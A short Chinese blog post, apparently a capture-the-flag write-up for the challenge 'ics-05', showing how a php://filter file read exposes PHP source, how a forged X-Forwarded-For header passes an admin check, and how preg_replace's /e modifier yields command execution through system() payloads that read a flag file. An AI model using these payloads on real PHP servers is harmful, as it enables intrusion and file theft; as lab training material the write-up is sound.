ics-05

打开页面查看源码,发现” index.php”,进入后发现”?page=index”

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

尝试使用 “page=php://filter” 读取文件

网站回显一段 base64 编码的字符串,解码得到 php 代码

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

抓包构造 X-Forwarded-For 为 127.0.0.1,preg_replace()函数会搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换,但/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

构造

?pat=/test/e&rep=system("ls")&sub=just test

 可以看到成功执行了 ls 命令

payload:
?pat=/test/e&rep=system("cat s3chahahaDir/flag/flag.php&& ls")&sub=just test

 

posted @ 2021-09-13 14:46  凇岳  阅读(58)  评论(0)    收藏  举报